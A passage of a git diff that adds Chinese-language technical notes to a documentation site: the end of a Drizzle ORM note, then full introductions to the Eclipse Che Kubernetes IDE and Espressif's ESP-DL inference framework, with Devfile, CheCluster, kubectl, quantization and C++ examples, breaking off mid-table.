check`)和 migration 表版本化,多分支并行开发时 worth 关注。 + +--- + +## 实践案例 + +### 案例 1:事务下单(insert + 明细) + +```ts +import { Pool } from 'pg' +import { drizzle } from 'drizzle-orm/node-postgres' +import { orders, orderItems } from './schema' + +const pool = new Pool({ connectionString: process.env.DATABASE_URL }) +const db = drizzle(pool) + +async function placeOrder( + userId: number, + items: { sku: string; qty: number; priceCents: number }[], +) { + const totalCents = items.reduce((sum, i) => sum + i.priceCents * i.qty, 0) + + return db.transaction(async (tx) => { + const [order] = await tx + .insert(orders) + .values({ userId, status: 'pending', totalCents }) + .returning() + + await tx.insert(orderItems).values( + items.map((i) => ({ + orderId: order.id, + sku: i.sku, + quantity: i.qty, + unitPriceCents: i.priceCents, + })), + ) + + return order + }) +} +``` + +`transaction` 保证「主单 + 明细」同事务提交——不能出现「有订单没菜品」的半成品单。 + +### 案例 2:原始 SQL 逃生舱 + +复杂报表(窗口函数、CTE)用 `sql` 模板仍保持参数化: + +```ts +import { sql } from 'drizzle-orm' + +const topCustomers = await db.execute(sql` + SELECT u.id, u.email, COUNT(o.id)::int AS order_count + FROM users u + JOIN orders o ON o.user_id = u.id + WHERE o.created_at > NOW() - INTERVAL '30 days' + GROUP BY u.id, u.email + ORDER BY order_count DESC + LIMIT 10 +`) +``` + +Drizzle 的设计是 **80% CRUD 用 builder,20% 复杂 SQL 用 raw**,同一条类型化管道。 + +--- + +## 典型项目结构 + +``` +src/ + db/ + schema.ts # 表定义(可按域拆多文件) + index.ts # drizzle(pool) 单例 +drizzle/ + 0000_init.sql # kit generate 产出 + meta/ +drizzle.config.ts +``` + +多文件 schema 时,`drizzle.config.ts` 的 `schema` 可指向目录,kit 递归收集所有 export 的表。 + +--- + +## 踩过的坑 + +1. **Dialect import 不能混用**:`drizzle-orm/pg-core` 与 `mysql-core` 换库要换整套 table 定义。 +2. **RQB 要配 relations**:`db.query.*` 的 `with` 依赖 `relations()`;只写 `references()` 不够。 +3. **`push` 别上生产**:绕过迁移历史,只适合本地原型。 +4. **camelCase vs snake_case**:`drizzle({ casing: 'snake_case' })` 可统一 TS 字段名与库列名映射。 +5. **大 schema 编译变慢**:大量 `pgTable` + 复杂 relations 会让 `tsc` 变慢——按域拆文件。 +6. **driver import 路径**:`node-postgres`、`d1`、`neon-http` 等初始化不同,schema/query 代码可复用,连接层要对照文档。 + +--- + +## 适用 vs 不适用 + +**适用**: + +- Next.js / Hono / Elysia 等 TS 后端,部署在 Node 或 Edge +- 团队愿意看 SQL,需要 CTE、窗口函数、部分索引等 Postgres 特性 +- 不想在 CI 里跑 `prisma generate` +- Serverless 对 bundle 和冷启动敏感 + +**不适用**: + +- 团队几乎没人写过 SQL → [[prisma]] 更省心 +- 大型 TypeORM 单体、重度装饰器 → 迁移成本高于收益 +- 只要迁移脚本、应用层另有 ORM → [[knex]] 或纯 SQL 足够 + +--- + +## Season 6 上下文:数据层在长任务里的位置 + +Season 6 聚焦 **数据 + 长任务 + 真实产品**。真实产品里数据库层通常要同时满足: + +- **类型安全**:API handler 与 background job 共用 schema 类型 +- **可迁移**:schema 变更可审查、可回滚 +- **可观测**:慢查询能对上代码里的 builder 链 + +Drizzle 把 schema 留在普通 TS 文件中,使 **API 路由、Temporal worker、批处理脚本** 可以 `import { orders } from '@/db/schema'` 共享类型,不依赖生成物同步——对「长任务 + 多入口写库」的项目特别实用。 + +--- + +## 学到什么 + +1. **ORM 不一定要 codegen**——TS 类型运算已能承担 schema → 行类型的桥梁。 +2. **SQL 可见性是团队选择**——遮 SQL 降低门槛;露 SQL 降低调试成本。 +3. **Knex 与 Drizzle 是上下游**——前者补迁移与 builder 经验,后者补 schema 与类型。 +4. **Edge 时代体积是功能**——不是「快一点」,而是「能不能部署」。 + +--- + +## 延伸阅读 + +- 官方文档:[orm.drizzle.team](https://orm.drizzle.team/) +- GitHub:[drizzle-team/drizzle-orm](https://github.com/drizzle-team/drizzle-orm) +- Migrations 策略:[orm.drizzle.team/docs/migrations](https://orm.drizzle.team/docs/migrations) +- Relational Queries v2:[orm.drizzle.team/docs/rqb-v2](https://orm.drizzle.team/docs/rqb-v2) + +## 关联 + +- [[prisma]] —— DSL + 生成客户端的标杆 ORM +- [[typeorm]] —— 装饰器 + Repository 传统企业 ORM +- [[kysely]] —— 纯 query builder,无 schema 层 +- [[postgresql]] —— Drizzle 最常用的方言 +- [[nestjs]] —— 常与 Drizzle 组合的后端框架 diff --git a/src/content/docs/projects/eclipse-che.md b/src/content/docs/projects/eclipse-che.md new file mode 100644 index 000000000..3e93e7267 --- /dev/null +++ b/src/content/docs/projects/eclipse-che.md @@ -0,0 +1,312 @@ +--- +title: Eclipse Che — Kubernetes 原生云 IDE +来源: https://github.com/eclipse/che +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:Kubernetes 上的「标准化研发车间」 + +想象一家汽车厂。每个工程师不再自带工具箱、焊枪和测试台——**车间管理员**在流水线上预先划好工位:A 区装 Node 18 + PostgreSQL,B 区装 Go 1.22 + Redis,每个工位还配一块带语言服务、调试器和终端的**操作屏**(浏览器 IDE)。工程师刷卡进门,选「今天做哪个项目」,Kubernetes 就按图纸(Devfile)在集群里拉起一个隔离 Pod;下班点「停止」,资源回收;明天同一套图纸再开,环境一模一样。 + +**Eclipse Che 就是这个「车间调度系统 + 操作屏」的组合**,只不过车间跑在你自己的 Kubernetes 或 OpenShift 上,而不是某家 SaaS 的黑盒里。官方定义:**Kubernetes-native IDE and developer collaboration platform**——工作区不是「远程桌面里的一台 VM」,而是**声明式、可版本化的容器化开发环境**,IDE 本身也被当作工作区依赖一起打包进 Pod。 + +项目地址:[eclipse/che](https://github.com/eclipse/che),Eclipse Public License 2.0 开源。文档站:[eclipse.dev/che](https://eclipse.dev/che/docs/stable/overview/introduction-to-eclipse-che/)。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:「在我机器上能跑」 + +本地 Node 版本、系统库、Docker 权限各不相同,新人 onboarding 常卡在环境对齐。Che 把**可复现环境**写进 **Devfile**(或仓库里的 `devfile.yaml`),所有人从同一份声明出发;工作区在 K8s Pod 里运行,差异只剩「你选 standard 还是 large 规格」。 + +### 痛点 2:IDE 与运行时割裂 + +传统模型:代码在仓库里,IDE 装在本机,运行时靠 `docker compose up` 临时凑。Che 的 **Workspace 模型**把「项目源码 + 构建/运行依赖 + IDE + 插件」视为**一个整体**——IDE 不是外挂工具,而是工作区 Pod 里的容器之一。这样可以在 dev 模式里叠加 Language Server、Debug Adapter,同时复刻生产侧的微服务拓扑。 + +### 痛点 3:远程开发 SaaS 的数据与合规 + +[[gitpod]]、GitHub Codespaces 等产品体验好,但计费、数据驻留、审计策略不一定满足金融、政务、内网场景。Che **自托管**在自有集群:OIDC(Dex / OpenShift OAuth)、RBAC、Prometheus/Grafana 监控都可按企业标准接入。 + +### 痛点 4:平台团队需要 K8s 原生治理 + +Che 不是「又一套 PaaS」,而是 **Custom Resource + Operator** 模式:`CheCluster` 描述平台,`DevWorkspace` 描述每个开发者工作区,**DevWorkspace Operator(DWO)** 负责 reconcile。平台工程师用熟悉的 `kubectl`、GitOps、Helm 运维,而不是单独学一套私有 API。 + +--- + +## 核心概念拆解 + +理解 Che 时,先把下面几个 Kubernetes 层面的名词分清——它们会出现在 Dashboard、YAML 和运维手册里。 + +### 1. CheCluster — 平台总开关 + +**CheCluster** 是 Che 在集群里的「安装说明书」Custom Resource(CR)。Eclipse Che Operator 读取 `CheCluster` spec,生成各组件的 ConfigMap、Deployment、Route/Ingress 等。常见配置块包括: + +| 区块 | 作用 | +|------|------| +| `components.cheServer` | Che Server(API + 编排) | +| `components.dashboard` | 用户仪表盘,创建工作区入口 | +| `components.devWorkspace` | 与 DWO 的集成方式 | +| `components.devfileRegistry` | 内置/外置 Devfile 模板库 | +| `components.pluginRegistry` | IDE 插件(兼容 VS Code 扩展体系)注册表 | +| `devEnvironments` | 默认编辑器、工作区存储、超时策略 | +| `networking` | 域名、TLS、OAuth 客户端 | + +改 `CheCluster` 等价于改整个 Che 实例的行为;Operator 会滚动重启受影响的 Pod。 + +### 2. DevWorkspace — 工作区的 K8s 身份证 + +用户在 Dashboard 点「Start workspace」时,Che 在后台创建 **DevWorkspace** CR——它是工作区在集群里的**权威表示**。每个 Che 工作区对应一个 DevWorkspace;DWO 读取该 CR,创建 Deployment、Service、Secret、ConfigMap、PVC,最终得到一个(或多个)运行 IDE 与工具链的 **Pod**。 + +DevWorkspace 还关联 **DevWorkspaceRouting**,定义工作区对外暴露的 endpoint(编辑器 URL、应用预览端口等)。 + +### 3. DevWorkspace Operator(DWO)— 车间主任 + +**DWO** 是 Che 的核心依赖,负责 **reconcile DevWorkspace**。你可以把它理解为:把 Devfile + 编辑器定义翻译成「能跑的 Pod 清单」的控制器。Che 还会在 Che 命名空间维护 Che 专用的 **DevWorkspaceOperatorConfiguration(DWOC)**,通过 `controller.devfile.io/devworkspace-config` 属性挂到每个工作区。 + +没有 DWO,DevWorkspace CR 只是 YAML 装饰;有了 DWO,才是可启动的浏览器 IDE。 + +### 4. Devfile — 开发者环境即代码 + +**Devfile** 是 CNCF 生态里的开放标准([devfile.io](https://devfile.io)),Che 用它声明: + +- **components**:容器镜像、Kubernetes 组件、Volume +- **projects**:Git 仓库克隆来源 +- **commands**:构建、测试、运行脚本 +- **events**:`postStart` 等生命周期钩子 + +Devfile v2 与 OCI 打包、Registry 分发兼容;Che 的 Devfile Registry 提供官方 Stack(Node、Java、Python 等)模板,团队也可自建 Registry 固化内部标准栈。 + +### 5. Che Server + Dashboard — 前台与 API + +**Che Server** 处理多用户认证、权限、工作区 CRUD、与 Git 提供方集成。**Dashboard** 是浏览器里的控制面:选 Devfile、选编辑器(默认基于 [[theia]] / Open VS Code 体系)、启停工作区。开发者日常交互大多在 Dashboard + 内嵌 IDE 完成,不必直接编辑 DevWorkspace YAML。 + +### 6. 编辑器与插件 — 可替换的操作屏 + +Che 7+ 默认提供 **Eclipse Theia** 或 **code-editor**(Open VS Code 衍生)类编辑器,通过 **Plugin Registry** 加载语言扩展。插件机制与 **VS Code 扩展**兼容度较高(Language Server Protocol、Debug Adapter Protocol 是一等公民)。企业也可以配置「自带 IDE」——只要能在容器里跑、能通过 endpoint 暴露即可。 + +### 7. Factory — 一键复制工作区(历史概念仍常见) + +早期 Che 强调 **Factory**:把 Devfile + 项目 URL 编码成链接,分享给队友「一点即开」同款环境。现代流程更多直接用 Devfile Registry + Dashboard,但「可分享、可复现」的思想与 Factory 一致——类似 [[gitpod]] 的 `#https://github.com/...` 深链。 + +--- + +## 架构一图流 + +Che 官方架构可概括为三层协作(详见 [Architecture overview](https://eclipse.dev/che/docs/stable/administration-guide/architecture-overview/)): + +```text +┌─────────────────────────────────────────────────────────────┐ +│ Che Server 组件(Dashboard、Che Server、Registry…) │ +│ 用户在这里创建/管理工作区 │ +└──────────────────────────┬──────────────────────────────────┘ + │ 创建 DevWorkspace CR + ▼ +┌─────────────────────────────────────────────────────────────┐ +│ DevWorkspace Operator │ +│ reconcile → Deployment / Service / PVC / Routing │ +└──────────────────────────┬──────────────────────────────────┘ + │ + ▼ +┌─────────────────────────────────────────────────────────────┐ +│ User Workspace Pod(IDE 容器 + 工具容器 + 可选 sidecar) │ +│ 隔离命名空间,RBAC 控制,监控可接 Prometheus │ +└─────────────────────────────────────────────────────────────┘ +``` + +与 [[coder]] 对比:Coder 用 **Terraform Template + coderd** 在 VM/K8s/Docker 上发「工位」;Che 用 **Devfile + DevWorkspace CR + DWO** 在 **纯 Kubernetes** 上发「Pod 型工位」,IDE 内嵌更深,K8s 原生味更浓。与 [[gitpod]] 对比:Gitpod 强调 **Prebuild** 与 `.gitpod.yml` SaaS 体验;Che 强调 **自托管、Operator、Devfile 标准**,预构建需自行在 CI 或 Registry 层设计。 + +--- + +## 代码示例 1:仓库根目录的 `devfile.yaml` + +下面是一个最小可用的 Devfile v2.2 示例:一个 `tools` 容器(带 Node),克隆 Git 项目,并在 `postStart` 里安装依赖。Che 创建工作区时会把它合并进 DevWorkspace spec。 + +```yaml +schemaVersion: 2.2.0 +metadata: + name: node-react-dev + version: 1.0.0 + displayName: Node.js React 开发栈 +components: + - name: tools + container: + image: quay.io/devfile/universal-developer-image:ubi8-latest + memoryLimit: 1Gi + mountSources: true + endpoints: + - name: web-preview + targetPort: 3000 + exposure: public + secure: false + protocol: http + - name: projects-root + volume: + size: 10Gi +projects: + - name: my-app + git: + remotes: + origin: https://github.com/example/my-react-app.git + checkoutFrom: + remote: origin + revision: main +commands: + - id: install-deps + exec: + component: tools + commandLine: "cd ${PROJECTS_ROOT}/my-app && npm ci" + workingDir: ${PROJECTS_ROOT}/my-app +events: + postStart: + - install-deps +``` + +要点说明: + +- `components[].container.endpoints` 定义预览 URL,DWO 会写入 **DevWorkspaceRouting**。 +- `projects` 段让 Che 在启动时自动 `git clone`。 +- `commands` + `events.postStart` 实现「工作区起来就装依赖」,类似 Gitpod 的 `init`,但语法是 Devfile 标准,可跨 Che、OpenShift Dev Spaces 等实现复用。 + +--- + +## 代码示例 2:部署 Che 的 `CheCluster` 与 `kubectl` + +生产环境通常先装 **Eclipse Che Operator**(Helm 或 OLM),再 apply `CheCluster`。下面是从官方文档提炼的**最小 CR 骨架**与等待就绪命令(域名与 OAuth 需按集群替换): + +```yaml +apiVersion: org.eclipse.che/v2 +kind: CheCluster +metadata: + name: eclipse-che + namespace: eclipse-che +spec: + components: {} + devEnvironments: {} + networking: + domain: che.example.com + auth: + identityProviderURL: https://oauth.example.com + oAuthClientName: che-public + oAuthSecret: +``` + +```bash +# 创建命名空间并安装 Operator 后,应用 CheCluster +kubectl apply -f che-cluster.yaml -n eclipse-che + +# 等待 Che 进入 Active 阶段(官方 Helm 文档常用 jsonpath 探测) +kubectl wait checluster/eclipse-che \ + --namespace eclipse-che \ + --for=jsonpath='{.status.chePhase}'=Active \ + --timeout=360s + +# 运行中调整配置(例如扩大 devfileRegistry 存储) +kubectl edit checluster/eclipse-che -n eclipse-che + +# 验证 Che Server ConfigMap 是否已同步某配置项 +kubectl get configmap che -o jsonpath='{.data.CHE_WORKSPACE_DEVFILE__REGISTRY__URL}' \ + -n eclipse-che +``` + +运维心智模型:**改 CheCluster → Operator 改 ConfigMap → K8s 滚动重启组件 Pod**。这与改 Deployment env 不同,所有平台级开关应走 CR,便于 GitOps 审计。 + +--- + +## 代码示例 3:用 CLI 直接提交 DevWorkspace(进阶) + +Dashboard 背后是 CR;平台工程师调试时可以直接 apply DevWorkspace(需已安装 DWO 且 RBAC 允许)。示意: + +```yaml +apiVersion: workspace.devfile.io/v1alpha2 +kind: DevWorkspace +metadata: + name: demo-workspace + namespace: che-user-alice +spec: + started: true + template: + projects: + - name: sample + git: + remotes: + origin: https://github.com/eclipse-che/che-docs.git + components: + - name: editor + attributes: + che.eclipse.org/editor: eclipse/che-code/latest + container: + image: quay.io/devfile/universal-developer-image:ubi8-latest + memoryLimit: 512Mi +``` + +```bash +kubectl apply -f devworkspace-demo.yaml -n che-user-alice +kubectl get devworkspace -n che-user-alice -w +``` + +Che Dashboard 创建的工作区本质上也是类似结构,只是 Che Server 替你填好了 editor 属性、Registry URL 和 user namespace。 + +--- + +## 典型工作流(零基础第一次用) + +1. **集群准备**:Kubernetes 1.25+(或 OpenShift 4.x),Ingress/Route、默认 StorageClass、可拉取的容器镜像仓库。 +2. **安装 Operator + CheCluster**:用 [chectl](https://github.com/eclipse-che/che/tree/main) 或 Helm chart `eclipse-che/eclipse-che`;Red Hat 场景可用 OpenShift Dev Spaces(Che 下游产品化)。 +3. **配置身份**:Dex 或 OpenShift OAuth,让 Dashboard 能登录并映射 K8s RBAC。 +4. **导入 Devfile**:从 Devfile Registry 选 Stack,或把 `devfile.yaml` 放进 Git 仓库。 +5. **启动工作区**:Dashboard → Create Workspace → 选 Devfile + 编辑器 → Start;浏览器打开 IDE URL。 +6. **停止与清理**:Stop workspace 释放 CPU/内存;删除 DevWorkspace 释放 PVC(注意备份未 push 的代码)。 + +--- + +## 适用场景与边界 + +**适合:** + +- 已有 Kubernetes/OpenShift,希望**统一 dev 环境**且 IDE 在浏览器内完成 +- 需要 **Devfile 标准**、多团队共享 Stack、与 CNCF 工具链对齐 +- 合规要求**数据不出集群**,同时要 LSP/DAP 现代 IDE 体验 + +**不太适合:** + +- 小团队、无 K8s 运维能力——安装 Che + DWO + OAuth 的门槛明显高于单机 Docker +- 主要诉求是 **PR 预览环境 / 全栈 ephemeral staging**——这类「环境即服务」更像 [[gitpod]] 预构建或专用 EaaS,Che 聚焦**个人/团队工作区**而非整条 delivery pipeline +- 只想快速用 SaaS、不想自管 Operator——托管版(如 developers.redhat.com 上的 Che)可缓解,但仍需理解 Devfile + +--- + +## 与相近项目怎么选 + +| 维度 | Eclipse Che | Gitpod | Coder | +|------|-------------|--------|-------| +| 部署 | K8s Operator + CR | 自托管或 gitpod.io SaaS | 自托管 coderd + Terraform | +| 环境定义 | Devfile v2 | `.gitpod.yml` | Template (Terraform) | +| IDE 位置 | 工作区 Pod 内嵌 | 工作区容器 + OpenVSCode | 用户自选(SSH/VS Code/code-server) | +| 最强卖点 | K8s 原生、Devfile 标准、企业 OIDC | Prebuild、秒开、深链 | 多后端、策略治理、AI Agent 场景 | +| 运维复杂度 | 高(Operator 生态) | 中–高 | 中 | + +三者可以并存:Che 管「标准 K8s 研发车间」,Coder 管「GPU/Windows/非 K8s 工位」,Gitpod 管「开源仓库秒开贡献流程」——按团队边界拆分,而不是非此即彼。 + +--- + +## 学习路径建议 + +1. 读官方 [Introduction to Eclipse Che](https://eclipse.dev/che/docs/stable/overview/introduction-to-eclipse-che/),理解 Workspace 模型与 enterprise integration。 +2. 本地实验:Minikube/Kind + chectl `che deploy`(资源需求见文档 *Calculating Che resource requirements*)。 +3. 手写一个 `devfile.yaml` 推到自己 Git 仓库,在 Dashboard 从 URL 创建工作区。 +4. 读 [DevWorkspace Operator overview](https://eclipse.dev/che/docs/stable/administration-guide/devworkspace-operator/),用 `kubectl get devworkspace,devworkspacerouting` 观察 reconcile。 +5. 对比 Devfile 与 `.gitpod.yml` / Coder template,理解「环境即代码」的三种方言。 + +--- + +## 延伸阅读 + +- 官方文档:[eclipse.dev/che/docs](https://eclipse.dev/che/docs/stable/) +- Devfile 规范:[devfile.io](https://devfile.io) +- 架构:[Che architecture](https://eclipse.dev/che/docs/stable/administration-guide/architecture-overview/) +- CheCluster 字段参考:[CR fields reference](https://eclipse.dev/che/docs/stable/administration-guide/checluster-custom-resource-fields-reference/) +- 相关笔记:[[theia]]、[[openvscode-server]]、[[kubernetes]]、[[gitpod]]、[[coder]] diff --git a/src/content/docs/projects/esp-dl.md b/src/content/docs/projects/esp-dl.md new file mode 100644 index 000000000..97d2867dc --- /dev/null +++ b/src/content/docs/projects/esp-dl.md @@ -0,0 +1,307 @@ +--- +title: ESP-DL — 乐鑫芯片上的「袖珍 AI 放映机」 +来源: 'https://github.com/espressif/esp-dl' +日期: '2026-06-13' +子分类: 嵌入式 +分类: 操作系统 +难度: '中级' +provenance: 'pipeline-v3' +--- + +## 是什么 + +**ESP-DL** 是乐鑫(Espressif)为 **ESP32 / ESP32-S3 / ESP32-P4** 等 SoC 打造的**轻量级神经网络推理框架**。源码托管在 [espressif/esp-dl](https://github.com/espressif/esp-dl),基于 **ESP-IDF** 构建,可与 `esp-detect`、`esp-sr` 等乐鑫 SDK 无缝集成。 + +日常类比:**云端 ChatGPT vs 口袋里的翻译卡片**。 + +你在 PC 上用 PyTorch 训练模型,就像在一间大图书馆里写论文——算力足、内存大、随便改稿。但 ESP32 芯片更像你出国时揣在兜里的一张**预制翻译卡片**:卡片上早就印好了常用句子的「答案表」(量化权重),设备运行时只做**查表 + 简单算术**,不会在口袋里重新学一门语言。ESP-DL 就是负责「读卡片、按步骤查表、把结果递给你」的那套机制;配套的 **ESP-PPQ** 则是「把大图书馆里的论文压缩成卡片」的印刷厂。 + +和通用推理引擎(如 [[tflite-micro]]、ONNX Runtime)相比,ESP-DL **深度绑定乐鑫硬件**:利用 ESP32-S3 / P4 的 **PIE(Processor Instruction Extensions)** 指令扩展、双核调度、内部 RAM / PSRAM 分层规划,在同等芯片上通常比「通用运行时 + 通用内核」更省内存、更快。 + +## 解决什么问题 + +| 痛点 | 通用方案 | ESP-DL 的回应 | +| --- | --- | --- | +| Flash / RAM 极小 | 浮点模型 + 动态分配 | **`.espdl` 量化格式** + **静态内存规划器**,启动前就算好每层放哪 | +| 量化部署复杂 | 手动调 TFLite / ONNX 量化参数 | **ESP-PPQ** 一键从 ONNX / PyTorch / TF 导出 `.espdl` | +| 算子与芯片不匹配 | 通用 CMSIS-NN,未针对 ESP 优化 | **56+ ONNX 对齐算子**,Conv / Gemm 等有 PIE 加速 | +| 双核浪费 | 单线程推理 | **Conv2D / DepthwiseConv2D 自动双核调度** | +| 激活函数慢 | 逐元素 exp / sigmoid | 除 ReLU / PReLU 外,**8bit LUT** 查表,复杂度恒定 | +| 上板后难调试 | 只能 printf 猜 | 内置 **`test()` / `profile()`** 内存与逐层延迟分析 | + +典型场景:人脸检测、行人检测、MobileNet 分类、YOLO11n 目标检测、手势识别、说话人验证——都是**本地、低延迟、常开**的 AIoT 任务。 + +## 核心概念 + +### 1. 推理-only:训练在 PC,芯片只「放映 .espdl」 + +ESP-DL **不支持设备端训练**。标准链路: + +``` +PyTorch / TF 训练 → 转 ONNX → ESP-PPQ 量化 → model.espdl → ESP-IDF 固件加载 → model->run() +``` + +设备不理解反向传播,只理解一张静态计算图。类比:DVD 机只播放刻录好的光盘,不会在播放时现拍电影。 + +### 2. `.espdl` 标准模型格式 + +`.espdl` 类似 ONNX,但用 **FlatBuffers** 替代 Protobuf: + +- 更轻量,适合嵌入式 +- 支持 **zero-copy 反序列化**(Flash 里直接映射,少拷贝) +- 可用 [Netron](https://netron.app/) 可视化调试(2026 起支持) + +文件内包含:计算图结构、量化权重、(可选)内嵌测试输入/输出。 + +### 3. `dl::Model`:加载 + 规划 + 运行 + +`dl::Model` 是推理入口,典型生命周期: + +| 阶段 | API | 作用 | +| --- | --- | --- | +| 构造 / load | `new dl::Model(...)` | 从 rodata / 分区 / SD 卡加载 `.espdl` | +| build | `build(max_internal_size)` | **静态内存规划器**分配中间张量 | +| run | `run()` / `run(input)` | 执行前向推理 | +| 验证 | `test()` | 与模型内嵌 golden output 对比 | +| 分析 | `profile()` | 打印内存占用 + 逐层延迟 | + +### 4. `dl::TensorBase`:张量与量化 + +张量通过 `get_inputs()` / `get_outputs()` 取得。量化模型输入为 `int8_t` / `int16_t`,需按 `exponent` 做 **quantize / dequantize**: + +\[ +Q = \text{Clip}(\text{Round}(R / 2^{exp})), \quad R' = Q \times 2^{exp} +\] + +框架提供 `dl::quantize<>()`、`dl::dequantize()` 和 `TensorBase::assign()` 简化批量转换。 + +**注意**:中间结果与输入/输出**共享一块内存**,推理完成后 `model_input` 的数据可能被后续层覆盖——读结果要趁 `run()` 刚结束,或拷贝到自己的 buffer。 + +### 5. 静态内存规划器(Greedy Memory Manager) + +ESP 芯片有 **内部 SRAM**(快、小)和 **PSRAM**(大、慢)。构造 `Model` 时可传 `max_internal_size`: + +- 规划器把「热层」尽量放进内部 RAM +- 其余层中间张量放 PSRAM +- 目标:在 RAM 预算内最大化速度 + +`param_copy` 控制权重是否从 Flash 拷贝到 RAM:**false** 省内存但读 Flash 慢;**true**(默认)更快。 + +### 6. 双核与 PIE 加速 + +- **双核**:`RUNTIME_MODE_AUTO` 下,Conv2D / DepthwiseConv2D 可自动拆到两个 CPU 核 +- **PIE**:ESP32-S3 / P4 的 SIMD 类扩展,Conv / Gemm 走优化汇编路径 +- **8bit LUT**:Sigmoid、Tanh 等激活统一查表,换激活函数不增加算力成本 + +### 7. ESP-PPQ:量化工具链 + +[ESP-PPQ](https://pypi.org/project/esp-ppq/) 基于 PPQ,推荐 ONNX **opset 18** 导出。支持: + +- 从 ONNX 直接量化 +- PyTorch / TensorFlow 先转 ONNX +- **AutoQuant / espdl-quantize skill** 自动搜索量化策略(2026 新特性) +- Per-channel 量化(Conv / Gemm,ESP-PPQ ≥ 1.2.10 + ESP-DL ≥ 3.3.1) + +## 端到端工作流 + +1. **确认算子**:对照 [operator_support_state.md](https://github.com/espressif/esp-dl/blob/master/operator_support_state.md) +2. **PC 量化**:`pip install esp-ppq`,运行量化脚本得到 `model.espdl` +3. **嵌入固件**(三选一): + - **rodata 嵌入**:最简单,改代码会重烧模型 + - **独立分区**:`partition.csv` + `esptool_py_flash_to_partition`,可 `idf.py app-flash` 只烧 app + - **SD 卡**:Flash 不够或需频繁换模型时 +4. **C++ 加载推理**:`dl::Model` → 填输入 → `run()` → 读输出 +5. **上板验证**:`model->test()` → `model->profile()` 查内存与瓶颈层 + +## 代码示例一:PC 端用 ESP-PPQ 量化 ONNX + +下列代码展示**最小量化闭环**(具体 API 以你安装的 esp-ppq 版本文档为准;逻辑来自官方 MobileNet / 通用量化教程): + +```python +# quantize_onnx.py — 在 PC 上把 ONNX 转成 .espdl +import glob +import numpy as np +from esp_ppq import QuantizationSettingFactory +from esp_ppq.api import espdl_export, quantize_onnx_model + +ONNX_PATH = "mobilenet_v2.onnx" +ESPDL_PATH = "mobilenet_v2.espdl" +CALIB_DIR = "./calib_images" # 100~500 张代表性图片即可 + +# 1. 构造量化配置(8bit 权值 + 激活,具体 flags 见 esp-ppq 文档) +setting = QuantizationSettingFactory.default_setting() +setting.quantize_activation = True +setting.quantize_parameter = True + +# 2. 准备校准数据:NHWC uint8 或 float,shape 与模型输入一致 +def load_calib_batch(): + images = [] + for path in sorted(glob.glob(f"{CALIB_DIR}/*.jpg"))[:200]: + img = preprocess(path) # resize + normalize,与训练一致 + images.append(img) + return np.stack(images, axis=0) + +calib_data = load_calib_batch() + +# 3. 量化并导出 .espdl(可设 export_test_values=True 便于上板 test()) +quantized = quantize_onnx_model( + onnx_import_file=ONNX_PATH, + calib_dataloader=calib_data, + calib_steps=32, + setting=setting, + input_shape=[1, 3, 224, 224], + target="esp32s3", # 或 esp32p4,影响模拟与内核选择 +) + +espdl_export( + graph=quantized, + export_path=ESPDL_PATH, + export_test_values=True, # 部署时可关掉以减小体积 +) + +print(f"Exported → {ESPDL_PATH}") +``` + +量化前务必确认 ONNX 里每个算子都在 ESP-DL 支持列表中,否则要在 PC 端改图或等社区贡献算子。 + +## 代码示例二:ESP-IDF 设备端加载与推理 + +### CMakeLists:把模型嵌进 rodata + +```cmake +# 放在 idf_component_register 之前 +idf_build_get_property(component_targets __COMPONENT_TARGETS) +if ("___idf_espressif__esp-dl" IN_LIST component_targets) + idf_component_get_property(espdl_dir espressif__esp-dl COMPONENT_DIR) +elseif("___idf_esp-dl" IN_LIST component_targets) + idf_component_get_property(espdl_dir esp-dl COMPONENT_DIR) +endif() +set(cmake_dir ${espdl_dir}/fbs_loader/cmake) +include(${cmake_dir}/utilities.cmake) +set(embed_files models/mobilenet_v2.espdl) + +idf_component_register(SRCS "main.cpp" INCLUDE_DIRS "." REQUIRES esp-dl) + +target_add_aligned_binary_data(${COMPONENT_LIB} ${embed_files} BINARY) +``` + +### main.cpp:推理主循环 + +```cpp +#include "dl_model_base.hpp" +#include "esp_log.h" + +static const char *TAG = "esp-dl-demo"; + +// CMake 嵌入后生成的符号:_binary_<文件名>_start +extern const uint8_t mobilenet_v2_espdl[] asm("_binary_mobilenet_v2_espdl_start"); + +extern "C" void app_main(void) +{ + // 1. 加载模型:Flash rodata,限制内部 RAM 64KB,贪心规划器 + dl::Model *model = new dl::Model( + (const char *)mobilenet_v2_espdl, + fbs::MODEL_LOCATION_IN_FLASH_RODATA, + 64 * 1024, // max_internal_size + dl::MEMORY_MANAGER_GREEDY); + + // 2. 上板自检(需 export_test_values=True 导出的模型) + ESP_ERROR_CHECK(model->test()); + + // 3. 取输入/输出张量 + dl::TensorBase *input = model->get_inputs().begin()->second; + dl::TensorBase *output = model->get_outputs().begin()->second; + + // 4. 准备 float 图像并量化写入(示例:单张 224x224 RGB) + std::vector image = load_and_preprocess("/sdcard/test.jpg"); + dl::TensorBase *float_in = new dl::TensorBase( + input->shape, image.data(), image.size(), dl::DATA_TYPE_FLOAT); + input->assign(float_in); // 内部按 exponent 量化到 int8 + + // 5. 推理(双核自动) + model->run(dl::RUNTIME_MODE_AUTO); + + // 6. 反量化读结果 + dl::TensorBase *float_out = new dl::TensorBase( + output->shape, nullptr, 0, dl::DATA_TYPE_FLOAT); + float_out->assign(output); + int top1 = argmax(float_out); + ESP_LOGI(TAG, "Top-1 class id = %d", top1); + + // 7. 性能分析(开发阶段) + model->profile(true); // true = 按延迟从高到低排序 + + delete float_in; + delete float_out; + delete model; +} +``` + +若模型较大、开发迭代频繁,改用 **partition 加载**: + +```cpp +dl::Model *model = new dl::Model("model", fbs::MODEL_LOCATION_IN_FLASH_PARTITION); +``` + +配合 `partition.csv` 里名为 `model` 的分区,可用 `idf.py app-flash` 避免每次重烧模型。 + +## Model Zoo 与生态 + +仓库 [models/](https://github.com/espressif/esp-dl/tree/master/models) 提供预量化组件,开箱即用: + +| 模型 | 任务 | +| --- | --- | +| human_face_detect / recognize | 人脸检测与识别 | +| coco_detect (YOLO11n) | COCO 目标检测 | +| yolo11n-pose | 姿态估计 | +| ESPDet-Pico | 猫 / 狗 / 手等轻量检测 | +| mobilenet_v2 | ImageNet 分类 | +| speaker_verification (x-vector) | 说话人验证 | + +可与 [esp-detection](https://github.com/espressif/esp-detection) 训练自定义 ESPDet-Pico 检测器,再导出 `.espdl`。 + +## 与 TensorFlow Lite Micro 怎么选 + +| 维度 | ESP-DL | TFLM | +| --- | --- | --- | +| 